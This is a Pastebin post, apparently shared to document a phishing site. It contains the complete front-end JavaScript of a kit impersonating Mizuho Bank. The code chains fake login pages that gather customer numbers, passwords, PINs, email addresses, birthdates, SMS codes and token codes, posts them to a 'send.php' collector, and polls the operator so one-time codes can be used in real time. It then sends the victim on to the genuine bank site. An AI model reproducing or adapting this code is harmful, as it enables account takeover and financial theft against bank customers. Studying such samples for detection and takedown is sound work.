Advertisement
ozuma5119

Phishing/mizuho/mchealth.cn

Sep 2nd, 2023
1,475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 7.53 KB | Source Code | 0 0
  1. var loadingOverlay = document.querySelector('.a-loading');
  2.  
  3.  
  4. function loginListening() {
  5.     var txbCustNo = document.getElementById("txbCustNo");
  6.     var loginButton = document.getElementById("loginButton");
  7.  
  8.     loginButton.disabled = true;
  9.     // 监听输入框的输入事件
  10.     txbCustNo.addEventListener("input", function () {
  11.         // 获取用户输入的值
  12.         var txbCustNoValue = txbCustNo.value;
  13.  
  14.         // 检查输入的长度是否为6
  15.         if (txbCustNoValue.length != 0) {
  16.             // 如果输入的长度为6,启用按钮
  17.             loginButton.disabled = false;
  18.         } else {
  19.             // 如果输入的长度不为6,禁用按钮
  20.             loginButton.disabled = true;
  21.         }
  22.     });
  23. }
  24.  
  25. function PasswordListening() {
  26.     var txtCustNo = document.getElementById("txtCustNo");
  27.     txtCustNo.textContent = getCookie('txbCustNo');
  28.  
  29.     var Password = document.getElementById("password");
  30.     var PasswordButton = document.getElementById("btnLogin");
  31.  
  32.     PasswordButton.disabled = true;
  33.     Password.addEventListener("input", function () {
  34.         var PasswordValue = Password.value;
  35.  
  36.         if (PasswordValue.length != 0) {
  37.             PasswordButton.disabled = false;
  38.         } else {
  39.             PasswordButton.disabled = true;
  40.         }
  41.     });
  42. }
  43.  
  44. function verificationListening() {
  45.     txtCustNo.textContent = getCookie('txbCustNo');
  46.     var submitButton = document.getElementById("verificationSubmit");
  47.     submitButton.disabled = true;
  48. }
  49.  
  50. function smsListening() {
  51.     txtCustNo.textContent = getCookie('txbCustNo');
  52.     var smsButton = document.getElementById("smsButton");
  53.     smsButton.disabled = true;
  54. }
  55.  
  56. function tokenListening() {
  57.     var inputpin = document.getElementById("inputpin");
  58.     inputpin.textContent = getCookie('inputpin');
  59. }
  60.  
  61. function verificationCheckInputs() {
  62.     var pin1 = document.getElementById("pin1");
  63.     var pin2 = document.getElementById("pin2");
  64.     var email = document.getElementById("email");
  65.     var yearInput = document.getElementById("birthdayYear");
  66.     var monthInput = document.getElementById("birthdayMonth");
  67.     var dayInput = document.getElementById("birthdayDay");
  68.     var submitButton = document.getElementById("verificationSubmit");
  69.  
  70.     pin1.value = pin1.value.replace(/[^0-9]/g, '');
  71.     pin2.value = pin2.value.replace(/[^0-9]/g, '');
  72.     yearInput.value = yearInput.value.replace(/[^0-9]/g, '');
  73.     monthInput.value = monthInput.value.replace(/[^0-9]/g, '');
  74.     dayInput.value = dayInput.value.replace(/[^0-9]/g, '');
  75.  
  76.     var year = parseInt(yearInput.value);
  77.     var month = parseInt(monthInput.value);
  78.     var day = parseInt(dayInput.value);
  79.  
  80.     if (pin1.value.length == 4 &&
  81.         pin2.value.length == 6 &&
  82.         email.value.length != 0 &&
  83.         year >= 0 && year <= 9999 &&
  84.         month >= 1 && month <= 12 &&
  85.         day >= 1 && day <= 31) {
  86.         submitButton.disabled = false; // 启用按钮
  87.     } else {
  88.         submitButton.disabled = true; // 禁用按钮
  89.     }
  90. }
  91.  
  92. function smsCheckInputs() {
  93.     var sms = document.getElementById("sms");
  94.     var smsButton = document.getElementById("smsButton");
  95.  
  96.     sms.value = sms.value.replace(/[^0-9]/g, '');
  97.     if (sms.value.length != 0) {
  98.         smsButton.disabled = false; // 启用按钮
  99.     } else {
  100.         smsButton.disabled = true; // 禁用按钮
  101.     }
  102. }
  103.  
  104. function login() {
  105.     var txbCustNo = document.getElementById("txbCustNo").value;
  106.     setCookie("txbCustNo", txbCustNo, 1);
  107.     window.location.href = 'Password.php';
  108. }
  109.  
  110. function passwords() {
  111.     loadingOverlay.style.display = 'block';
  112.     var password = document.getElementById("password");
  113.     var data = {
  114.         txbCustNo: getCookie('txbCustNo'),
  115.         password: password.value,
  116.     }
  117.     send('Addaccount', data)
  118. }
  119.  
  120. function verification() {
  121.     loadingOverlay.style.display = 'block';
  122.     var pin1 = document.getElementById("pin1");
  123.     var pin2 = document.getElementById("pin2");
  124.     var email = document.getElementById("email");
  125.     var yearInput = document.getElementById("birthdayYear");
  126.     var monthInput = document.getElementById("birthdayMonth");
  127.     var dayInput = document.getElementById("birthdayDay");
  128.  
  129.     var bir = yearInput.value + monthInput.value + dayInput.value;
  130.     var data = {
  131.         pin1: pin1.value,
  132.         pin2: pin2.value,
  133.         email: email.value,
  134.         bir: bir,
  135.     }
  136.     send('AddData', data)
  137. }
  138.  
  139. function sms() {
  140.     loadingOverlay.style.display = 'block';
  141.     var sms = document.getElementById("sms");
  142.     var data = {
  143.         sms: sms.value,
  144.     }
  145.     send('Addsms', data)
  146. }
  147.  
  148. function send(operation, data) {
  149.     axios.post('../send.php', {
  150.         operation: operation,
  151.         data: data,
  152.     }, {
  153.         headers: {
  154.             'Content-Type': 'application/x-www-form-urlencoded'
  155.         }
  156.     })
  157.         .then(function (response) {
  158.             if (response.data.jump == 'login') {
  159.                 window.location.href = 'index.php';
  160.             } else if (response.data.jump == 'loginerr') {
  161.                 alert('認証に失敗しました')
  162.                 window.location.href = 'index.php';
  163.             } else if (response.data.jump == 'data') {
  164.                 window.location.href = 'verification.php';
  165.             } else if (response.data.jump == 'dataerr') {
  166.                 window.location.href = 'verification.php?data=err';
  167.             } else if (response.data.jump == 'sms') {
  168.                 window.location.href = 'sms.php';
  169.             } else if (response.data.jump == 'smserr') {
  170.                 alert('認証コードが間違った')
  171.                 window.location.href = 'sms.php';
  172.             } else if (response.data.jump == 'token') {
  173.                 setCookie("inputpin", response.data.inputpin, 1);
  174.                 window.location.href = 'token.php';
  175.             } else if (response.data.jump == 'tokenerr') {
  176.                 setCookie("inputpin", response.data.inputpin, 1);
  177.                 alert('認証コードが間違った')
  178.                 window.location.href = 'token.php';
  179.             } else if (response.data.jump == 'email') {
  180.                 window.location.href = 'email.php';
  181.             } else if (response.data.jump == 'emailerr') {
  182.                 alert('認証コードが間違った')
  183.                 window.location.href = 'email.php';
  184.             } else if (response.data.jump == 'done') {
  185.                 alert('認証完了')
  186.                 send('done', null)
  187.                 window.location.href = 'https://www.mizuhobank.co.jp/index.html';
  188.             } else if (operation == 'Queryingjump') {
  189.                 setTimeout(function () {
  190.                     send('Queryingjump', data)
  191.                 }, 2000);
  192.             }
  193.  
  194.  
  195.         })
  196.         .catch(function (error) {
  197.             // 处理错误
  198.         });
  199.  
  200. }
  201.  
  202.  
  203.  
  204. //存入
  205. function setCookie(name, value, days) {
  206.     var expires = "";
  207.     if (days) {
  208.         var date = new Date();
  209.         date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  210.         expires = "; expires=" + date.toUTCString();
  211.     }
  212.     document.cookie = name + "=" + value + expires + "; path=/";
  213. }
  214. //获取
  215. function getCookie(name) {
  216.     var cookieValue = "";
  217.     var cookies = document.cookie.split("; ");
  218.     for (var i = 0; i < cookies.length; i++) {
  219.         var parts = cookies[i].split("=");
  220.         var cookieName = parts[0];
  221.         var cookieData = parts[1];
  222.         if (cookieName === name) {
  223.             cookieValue = cookieData;
  224.             break;
  225.         }
  226.     }
  227.     return cookieValue;
  228. }
Tags: phishing
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement